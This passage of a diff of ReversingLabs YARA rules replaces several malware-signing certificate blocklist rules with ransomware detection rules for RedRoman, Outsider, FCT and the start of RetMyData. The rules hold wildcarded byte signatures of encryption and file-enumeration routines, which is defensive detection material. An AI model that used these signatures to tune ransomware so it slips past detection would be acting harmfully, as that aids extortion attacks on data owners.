?? ?? ?? ?? FF 15 + ?? ?? ?? ?? 85 C0 74 ?? 6A ?? 8B C6 E8 ?? ?? ?? ?? 84 C0 74 ?? 8B 4E ?? 8B 17 56 6A + ?? 6A ?? 68 ?? ?? ?? ?? 51 52 FF 15 ?? ?? ?? ?? 85 C0 74 ?? C6 46 ?? ?? 8B B5 ?? ?? + ?? ?? 8D 85 ?? ?? ?? ?? 50 53 8D 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 56 6A ?? 6A ?? 68 + ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 56 52 6A ?? 53 E8 ?? ?? ?? ?? 8B 45 ?? + 8B 8D ?? ?? ?? ?? 56 50 6A ?? 51 E8 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? E8 ?? ?? + ?? ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8B 4D ?? 5F 5E 33 + CD B8 ?? ?? ?? ?? 5B E8 ?? ?? ?? ?? 8B E5 5D C3 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Silvo LLC" and pe.signatures [ i ] . serial == "56:d5:76:a0:62:49:1e:a0:a5:87:7c:ed:41:82:03:a1" and 1596249885 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( $dmalock_v1_encrypt_files_1 and $dmalock_v1_encrypt_files_2 and $dmalock_v1_encrypt_files_3 and $dmalock_v1_enum_shares_and_discs_type_1 ) or ( $dmalock_v1_encrypt_files_1 and $dmalock_v1_encrypt_files_2 and $dmalock_v1_encrypt_files_3 and $dmalock_v1_enum_shares_and_discs_type_2 ) or ( $dmalock_v1_encrypt_files_1 and $dmalock_v1_encrypt_files_2 and $dmalock_v1_encrypt_files_3 and $dmalock_v1_enum_shares_and_discs_type_3 ) or ( $dmalock_v1_encrypt_files_1 and $dmalock_v1_encrypt_files_3 and $dmalock_v1_enum_shares_and_discs_type_1 and $dmalock_v2_enum_logical_disks ) or ( $dmalock_v4_encrypt_file_1 and $dmalock_v4_encrypt_file_2 and $dmalock_v4_remote_server_communication and $dmalock_v2_enum_logical_disks ) } - -rule REVERSINGLABS_Cert_Blocklist_0Fcba260Df7Da602Ecf4D4D6Fc89D5Dd : INFO FILE +rule REVERSINGLABS_Win64_Ransomware_Redroman : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects RedRoman ransomware." author = "ReversingLabs" - id = "ce248602-1f28-5707-b921-640271176e7f" - date = "2020-08-05" - modified = "2023-11-08" + id = "c860586a-fa50-5bb4-a3b4-13506f9d6030" + date = "2021-05-10" + modified = "2021-05-10" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L4574-L4590" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win64.Ransomware.RedRoman.yara#L1-L82" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "4e9a3e516342820248ebf9b3605b8ce2dbf1d9b4255a5b74f7369dd2f1cdd9d8" + logic_hash = "6fb2ac0e7f7ac095766e27c057e5124406dc493c08d01a7e5381403d794c7240" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "RedRoman" + tc_detection_factor = 5 importance = 25 + strings: + $encrypt_files_p1 = { + 48 8B 8C 24 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 48 8D 84 24 ?? ?? ?? ?? 48 89 84 24 ?? ?? + ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 48 C7 44 24 ?? ?? ?? ?? ?? 48 C7 44 24 ?? ?? + ?? ?? ?? 48 8D 84 24 ?? ?? ?? ?? 48 89 44 24 ?? 4C 8D 8C 24 ?? ?? ?? ?? 41 B8 ?? ?? + ?? ?? BA ?? ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? 48 C7 84 + 24 ?? ?? ?? ?? ?? ?? ?? ?? 33 C0 85 C0 75 ?? 33 D2 48 8B 8C 24 ?? ?? ?? ?? FF 15 ?? + ?? ?? ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 C7 44 24 ?? ?? ?? ?? ?? 48 8D 84 24 ?? ?? + ?? ?? 48 89 44 24 ?? 41 B9 ?? ?? ?? ?? 45 33 C0 BA ?? ?? ?? ?? 48 8B 8C 24 ?? ?? ?? + ?? FF 15 ?? ?? ?? ?? B9 ?? ?? ?? ?? 48 6B C9 ?? 48 89 84 0C ?? ?? ?? ?? 48 C7 84 24 + ?? ?? ?? ?? ?? ?? ?? ?? 33 C0 85 C0 75 ?? B8 ?? ?? ?? ?? 48 6B C0 ?? 48 83 BC 04 ?? + ?? ?? ?? ?? 74 ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 48 8D 84 24 ?? ?? ?? ?? 48 89 84 + 24 ?? ?? ?? ?? EB ?? 33 D2 48 8B 8C 24 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? B8 ?? ?? ?? ?? + E9 ?? ?? ?? ?? 33 D2 48 8B 8C 24 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? BA ?? ?? ?? ?? B9 ?? + ?? ?? ?? FF 15 ?? ?? ?? ?? 48 8B 4C 24 ?? 48 8B 49 ?? 48 89 01 48 8B 44 24 ?? 48 8B + 40 ?? 48 83 38 ?? 75 ?? 48 8D 15 ?? ?? ?? ?? 48 8B 4C 24 ?? E8 ?? ?? ?? ?? B8 ?? ?? + ?? ?? 48 6B C0 ?? 48 83 BC 04 ?? ?? ?? ?? ?? 74 ?? B8 ?? ?? ?? ?? 48 6B C0 ?? 48 8B + 8C 04 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? B8 + } + $encrypt_files_p2 = { + 4C 8D 05 ?? ?? ?? ?? 41 B9 ?? ?? ?? ?? 48 8B 4D ?? 48 8B 55 ?? E8 ?? ?? ?? ?? 48 89 + 55 ?? 48 89 45 ?? EB ?? 31 C0 41 89 C0 48 8B 4D ?? 48 8B 55 ?? E8 ?? ?? ?? ?? 48 89 + 45 ?? EB ?? 48 8B 45 ?? 48 83 F8 ?? 74 ?? 48 8B 55 ?? 48 8D 8D ?? ?? ?? ?? E8 ?? ?? + ?? ?? EB ?? EB ?? 48 81 C4 ?? ?? ?? ?? 5D C3 48 8D 4D ?? E8 ?? ?? ?? ?? EB ?? 48 8B + 85 ?? ?? ?? ?? 48 85 C0 74 ?? EB ?? EB ?? 0F 0B 48 8B 85 ?? ?? ?? ?? 48 89 85 ?? ?? + ?? ?? 48 8B 85 ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 89 85 ?? ?? + ?? ?? C6 85 ?? ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 8B 85 ?? ?? + ?? ?? 48 89 85 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 83 BD ?? ?? + ?? ?? ?? 0F 84 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 8B 8D ?? ?? ?? ?? + 48 89 85 ?? ?? ?? ?? 48 89 8D ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? EB ?? + 48 83 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 85 + C0 74 ?? EB ?? EB ?? 0F 0B 48 8B 85 ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 8B 85 ?? ?? + ?? ?? 48 89 85 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 8B 85 ?? ?? + ?? ?? 48 89 85 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 8B 85 ?? ?? + ?? ?? 48 89 85 ?? ?? ?? ?? 48 83 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? E9 ?? ?? ?? ?? + 48 8B 85 ?? ?? ?? ?? 48 8B 8D ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 89 8D + } + $find_files = { + 48 8D 9C 24 ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? 48 89 D9 31 D2 E8 ?? ?? ?? ?? 48 8B 0F 48 + 89 DA E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 4C 8D B4 24 ?? ?? ?? ?? 48 8D 9C 24 ?? + ?? ?? ?? 66 83 BC 24 ?? ?? 00 00 ?? 74 ?? EB ?? 0F 1F 84 00 ?? ?? ?? ?? 48 8B 0F 48 + 89 DA E8 ?? ?? ?? ?? 85 C0 74 ?? 66 83 BC 24 ?? ?? 00 00 ?? 75 ?? 0F B7 84 24 ?? ?? + ?? ?? 66 85 C0 74 ?? 66 83 F8 ?? 75 ?? 66 83 BC 24 ?? ?? 00 00 ?? 74 ?? 48 8B 47 ?? + F0 48 83 00 ?? 0F 8E ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 8D 94 24 ?? ?? ?? ?? 41 + B8 ?? ?? ?? ?? 4C 89 F1 E8 ?? ?? ?? ?? 48 C7 06 ?? ?? ?? ?? 48 8D 4E ?? 48 8D 94 24 + ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? EB ?? E8 ?? ?? ?? ?? 83 F8 ?? 75 ?? 48 + C7 06 ?? ?? ?? ?? EB ?? E8 ?? ?? ?? ?? 48 C7 06 ?? ?? ?? ?? C6 46 ?? ?? 89 46 ?? 48 + 89 F0 0F 28 B5 ?? ?? ?? ?? 0F 28 BD ?? ?? ?? ?? 44 0F 28 85 ?? ?? ?? ?? 44 0F 28 8D + ?? ?? ?? ?? 44 0F 28 95 ?? ?? ?? ?? 44 0F 28 9D ?? ?? ?? ?? 44 0F 28 A5 ?? ?? ?? ?? + 44 0F 28 AD ?? ?? ?? ?? 44 0F 28 B5 ?? ?? ?? ?? 44 0F 28 BD ?? ?? ?? ?? 48 8D A5 ?? + ?? ?? ?? 5B 5F 5E 41 5E 5D C3 0F 0B + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Gold Stroy SP Z O O" and pe.signatures [ i ] . serial == "0f:cb:a2:60:df:7d:a6:02:ec:f4:d4:d6:fc:89:d5:dd" and 1593388801 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( $find_files ) and ( all of ( $encrypt_files_p* ) ) } - -rule REVERSINGLABS_Cert_Blocklist_4152169F22454Ed604D03555B7Afb175 : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Outsider : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects Outsider ransomware." author = "ReversingLabs" - id = "e8975a1a-ac7c-5016-a206-de9ca7eea37f" - date = "2020-08-05" - modified = "2023-11-08" + id = "44edccb1-9e2a-5ff9-b4b5-72ceec2f7947" + date = "2020-10-23" + modified = "2020-10-23" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L4592-L4608" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Outsider.yara#L1-L88" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "fbb2124b934c270739f564317526d5b23b996364372426485d7c994a83293866" + logic_hash = "80c5a93b5b72b7b66e36f1726486b0c7620588d05bd925510d76f020a40b124c" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "Outsider" + tc_detection_factor = 5 importance = 25 + strings: + $encrypt_files_p1 = { + 55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 8D 45 ?? 8B D9 50 6A ?? 5E 56 FF 35 ?? ?? ?? ?? + 89 5D ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 50 + FF 15 ?? ?? ?? ?? 8B F8 89 7D ?? 85 FF 0F 84 ?? ?? ?? ?? 8D 55 ?? 89 75 ?? 8B CF 2B + D7 8A 04 0A 88 01 41 83 EE ?? 75 ?? 6A ?? 8D 45 ?? 50 57 56 6A ?? 56 FF 35 ?? ?? ?? + ?? FF 15 ?? ?? ?? ?? 56 68 ?? ?? ?? ?? 6A ?? 56 6A ?? 68 ?? ?? ?? ?? 53 FF 15 ?? ?? + ?? ?? 89 45 ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 89 75 ?? 89 75 ?? 53 FF 15 ?? ?? ?? ?? 8D + 04 43 83 E8 ?? 66 83 38 ?? 75 ?? FF B6 ?? ?? ?? ?? 2B C3 83 C0 ?? D1 F8 8D 04 43 50 + FF 15 ?? ?? ?? ?? 89 45 ?? 85 C0 74 ?? FF B6 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? FF 75 ?? + 8B F0 FF 15 ?? ?? ?? ?? 3B C6 74 ?? 8B 75 ?? 83 C6 ?? 89 75 ?? 83 FE ?? 72 ?? EB ?? + C7 45 ?? ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF D6 50 FF 15 ?? ?? ?? + ?? 89 45 ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 7D ?? 8B D8 33 C0 50 8D 45 ?? 50 68 ?? ?? ?? + ?? 53 57 FF 15 ?? ?? ?? ?? 8B 4D ?? 33 C0 89 4D ?? 3B C8 76 ?? 8B F8 8B C7 25 ?? ?? + ?? ?? 79 ?? 48 83 C8 ?? 40 89 45 ?? 75 ?? 8B C7 99 83 E2 ?? 03 C2 C1 F8 ?? 99 52 50 + } + $encrypt_files_p2 = { + 51 51 8D 55 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 4D ?? 83 C4 ?? 8B 45 ?? 8A 84 05 + ?? ?? ?? ?? 30 04 1F 47 8B C7 99 85 D2 72 ?? 77 ?? 3B C1 72 ?? 8B 4D ?? 8B 7D ?? 6A + ?? F7 D9 8B C1 6A ?? 99 52 50 57 FF 15 ?? ?? ?? ?? 33 C0 50 8D 45 ?? 50 FF 75 ?? 53 + 57 FF 15 ?? ?? ?? ?? 83 7D ?? ?? 74 ?? 81 7D ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 53 33 + C0 50 FF D6 50 FF 15 ?? ?? ?? ?? 8B 7D ?? 8B 5D ?? 6A ?? 33 C0 C7 45 ?? ?? ?? ?? ?? + 50 0F 57 C0 66 0F 13 45 ?? FF 75 ?? FF 75 ?? FF 75 ?? FF 15 ?? ?? ?? ?? 33 C0 50 8D + 45 ?? 50 6A ?? 8D 45 ?? 50 FF 75 ?? FF 15 ?? ?? ?? ?? 33 C0 50 8D 45 ?? 50 6A ?? 57 + FF 75 ?? FF 15 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF D6 50 + FF 15 ?? ?? ?? ?? 8B F0 85 F6 74 ?? 68 ?? ?? ?? ?? 53 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? + 56 FF 15 ?? ?? ?? ?? 83 C4 ?? 56 53 FF 15 ?? ?? ?? ?? 56 33 F6 56 FF 15 ?? ?? ?? ?? + 50 FF 15 ?? ?? ?? ?? EB ?? 33 F6 57 56 FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 5F 5E + 5B 8B E5 5D C3 + } + $find_files = { + 8B EC 83 E4 ?? 81 EC ?? ?? ?? ?? 53 8B 1D ?? ?? ?? ?? 56 57 68 ?? ?? ?? ?? 6A ?? FF + D3 50 FF 15 ?? ?? ?? ?? 8B F0 85 F6 0F 84 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? 68 ?? + ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 83 C4 ?? 8D 44 24 ?? 50 56 FF 15 ?? ?? ?? ?? 83 F8 ?? + 0F 84 ?? ?? ?? ?? 8B D8 33 FF FF B7 ?? ?? ?? ?? 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 85 + C0 0F 84 ?? ?? ?? ?? 83 C7 ?? 83 FF ?? 72 ?? 8D 44 24 ?? 50 FF 75 ?? 68 ?? ?? ?? ?? + 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 8B 44 24 ?? 83 C4 ?? A8 ?? 74 ?? 68 ?? ?? ?? ?? + 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF 15 ?? + ?? ?? ?? 85 C0 74 ?? 56 E8 ?? ?? ?? ?? 59 EB ?? 8B 44 24 ?? A8 ?? 74 ?? 68 ?? ?? ?? + ?? 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF 15 + ?? ?? ?? ?? 85 C0 74 ?? 8B CE E8 ?? ?? ?? ?? 8D 44 24 ?? 50 53 FF 15 ?? ?? ?? ?? 85 + C0 0F 85 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? 68 + ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 83 C4 ?? 8B CE E8 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 56 + 6A ?? FF D3 50 FF 15 ?? ?? ?? ?? 5F 5E 5B 8B E5 5D C3 + } + $enum_resources = { + 55 8B EC 83 E4 ?? 83 EC ?? 83 0C 24 ?? 8D 44 24 ?? 53 56 57 50 FF 75 ?? C7 44 24 ?? + ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 44 24 ?? + 83 C0 ?? 50 6A ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B F8 85 FF 74 ?? EB ?? 33 + DB 39 5C 24 ?? 76 ?? 8D 77 ?? F6 46 ?? ?? 74 ?? 8D 46 ?? 50 E8 ?? ?? ?? ?? EB ?? FF + 36 E8 ?? ?? ?? ?? 43 83 C6 ?? 59 3B 5C 24 ?? 72 ?? 8D 44 24 ?? 50 57 8D 44 24 ?? 50 + FF 74 24 ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 57 6A ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? + ?? ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? 5F 5E 5B 8B E5 5D C3 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "SMACKTECH SOFTWARE LIMITED" and pe.signatures [ i ] . serial == "41:52:16:9f:22:45:4e:d6:04:d0:35:55:b7:af:b1:75" and 1595808000 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( $enum_resources ) and ( $find_files ) and ( all of ( $encrypt_files_p* ) ) } - -rule REVERSINGLABS_Cert_Blocklist_01C88Ccbd219500139D1Af138A9E898E : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_FCT : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects FCT ransomware." author = "ReversingLabs" - id = "e3bd6be6-461c-56fd-8dfd-8205845f731e" - date = "2020-08-05" - modified = "2023-11-08" + id = "ea3d5514-d6f2-5fd0-9247-a3f6b920d8d9" + date = "2020-06-26" + modified = "2020-07-15" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L4610-L4626" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.FCT.yara#L1-L86" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "d1acb0a7d6e20158797e77c066be42548cee9293fa94f24f936a95977ac16d91" + logic_hash = "b158ad56c92a926f7398a27b3576c259e39c9716ef192fa5944ce3cffdc6d7d0" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "FCT" + tc_detection_factor = 5 importance = 25 + strings: + $find_files_p1 = { + 6A ?? 68 ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 8D 4D ?? FF B5 ?? ?? ?? ?? 6A ?? E8 ?? ?? + ?? ?? 83 7D ?? ?? 8D 8D ?? ?? ?? ?? 8D 45 ?? 0F 43 45 ?? 51 50 FF 15 ?? ?? ?? ?? 89 + 85 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 6A ?? 51 8D 4D ?? C7 45 ?? ?? ?? ?? ?? C7 + 45 ?? ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 33 DB 8B 55 ?? 33 C9 8B 75 + ?? 89 9D ?? ?? ?? ?? 85 D2 74 ?? 66 90 83 7D ?? ?? 8D 45 ?? 0F 43 C6 0F BE 04 08 41 + 03 D8 3B CA 72 ?? 89 9D ?? ?? ?? ?? 8B 9D ?? ?? ?? ?? F6 85 ?? ?? ?? ?? ?? 0F 84 ?? + ?? ?? ?? 66 83 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8B CF C7 45 ?? ?? ?? ?? ?? 33 C0 + C7 45 ?? ?? ?? ?? ?? 66 89 45 ?? 8D 51 ?? 66 8B 01 83 C1 ?? 66 85 C0 75 ?? 2B CA D1 + F9 51 57 8D 4D ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8B 75 ?? 8B C6 8B 55 ?? 2B C2 83 F8 ?? + 72 ?? 83 FE ?? 8D 45 ?? 8D 4A ?? BB ?? ?? ?? ?? 0F 43 45 ?? 89 4D ?? 66 89 1C 50 33 + D2 66 89 14 48 EB ?? 6A ?? 68 ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 8D 4D ?? FF B5 ?? ?? + ?? ?? 6A ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 8D 51 + } + $find_files_p2 = { + 52 51 E8 ?? ?? ?? ?? 83 C4 ?? C6 45 ?? ?? 8B 55 ?? 83 FA ?? 72 ?? 8B 4D ?? 8D 14 55 + ?? ?? ?? ?? 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? + 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 9D ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? + 50 53 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8B BD ?? ?? ?? ?? E9 ?? ?? ?? ?? 53 FF 15 ?? ?? + ?? ?? 8B 45 ?? 83 F8 ?? 72 ?? 8B 55 ?? 8D 48 ?? 8B C2 81 F9 ?? ?? ?? ?? 72 ?? 8B 52 + ?? 83 C1 ?? 2B C2 83 C0 ?? 83 F8 ?? 77 ?? 51 52 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? 83 + FA ?? 72 ?? 8B 4D ?? 8D 14 55 ?? ?? ?? ?? 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 + C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 77 ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 4D ?? 64 89 0D + ?? ?? ?? ?? 59 5F 5E 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 E8 + } + $encrypt_files_p1 = { + 66 8B 01 83 C1 ?? 66 85 C0 75 ?? 2B CA D1 F9 51 57 8D 4D ?? E8 ?? ?? ?? ?? C6 45 ?? + ?? 8B 75 ?? 8B C6 8B 55 ?? 2B C2 83 F8 ?? 72 ?? 83 FE ?? 8D 45 ?? 8D 4A ?? BB ?? ?? + ?? ?? 0F 43 45 ?? 89 4D ?? 66 89 1C 50 33 D2 66 89 14 48 EB ?? 6A ?? 68 ?? ?? ?? ?? + C6 85 ?? ?? ?? ?? ?? 8D 4D ?? FF B5 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? + ?? 8D 51 ?? 66 8B 01 83 C1 ?? 66 85 C0 75 ?? 8B 5D ?? 2B CA 8B 55 ?? 8B C3 D1 F9 2B + C2 3B C8 77 ?? 83 FB ?? 8D 04 09 50 8D 75 ?? 0F 43 75 ?? 8D 85 ?? ?? ?? ?? 50 8D 3C + 0A 89 7D ?? 8D 04 56 50 E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 66 89 04 7E EB ?? 51 8D 85 ?? + ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 50 FF B5 ?? ?? ?? ?? 51 8D 4D ?? E8 ?? ?? ?? ?? 81 BD + ?? ?? ?? ?? ?? ?? ?? ?? 0F 87 ?? ?? ?? ?? 83 7D ?? ?? 8D 45 ?? 6A ?? 0F 43 45 ?? 68 + ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B F8 83 FF ?? 0F + 84 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8B F2 85 F6 74 + } + $encrypt_files_p2 = { + 6A ?? 8D 45 ?? 50 A1 ?? ?? ?? ?? 2B C6 56 03 C1 50 57 FF 15 ?? ?? ?? ?? 2B 75 ?? 74 + ?? 8B 8D ?? ?? ?? ?? EB ?? 57 FF 15 ?? ?? ?? ?? C6 45 ?? ?? 33 C0 8B 9D ?? ?? ?? ?? + BA ?? ?? ?? ?? 66 89 85 ?? ?? ?? ?? 83 CB ?? 8B 45 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? + 89 95 ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 8D 48 ?? 3B CA 76 ?? C6 85 ?? ?? ?? ?? ?? FF B5 + ?? ?? ?? ?? 51 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 8B 95 ?? ?? ?? ?? C7 85 ?? + ?? ?? ?? ?? ?? ?? ?? 83 7D ?? ?? 8D 4D ?? 0F 43 4D ?? 3B C2 77 ?? 8D 34 00 89 85 ?? + ?? ?? ?? 83 FA ?? 8D BD ?? ?? ?? ?? 56 0F 43 BD ?? ?? ?? ?? 51 57 E8 ?? ?? ?? ?? 83 + C4 ?? 33 C0 66 89 04 37 EB ?? 50 51 C6 85 ?? ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? FF B5 ?? + ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8B C2 8B 8D ?? ?? ?? ?? 2B C1 83 F8 ?? + 72 ?? 83 FA ?? 8D B5 ?? ?? ?? ?? 6A ?? 0F 43 B5 ?? ?? ?? ?? 8D 79 ?? 68 ?? ?? ?? ?? + 89 BD ?? ?? ?? ?? 8D 04 4E 50 E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 66 89 04 7E EB ?? 6A ?? + 68 ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 6A ?? E8 ?? + ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 8D 45 ?? 0F 43 8D ?? ?? ?? ?? 83 7D + ?? ?? 51 0F 43 45 ?? 50 FF 15 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Raymond Yanagita" and pe.signatures [ i ] . serial == "01:c8:8c:cb:d2:19:50:01:39:d1:af:13:8a:9e:89:8e" and 1593041280 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( all of ( $find_files_p* ) ) and ( all of ( $encrypt_files_p* ) ) } - -rule REVERSINGLABS_Cert_Blocklist_41D05676E0D31908Be4Dead3486Aeae3 : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Retmydata : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects RetMyData ransomware." author = "ReversingLabs" - id = 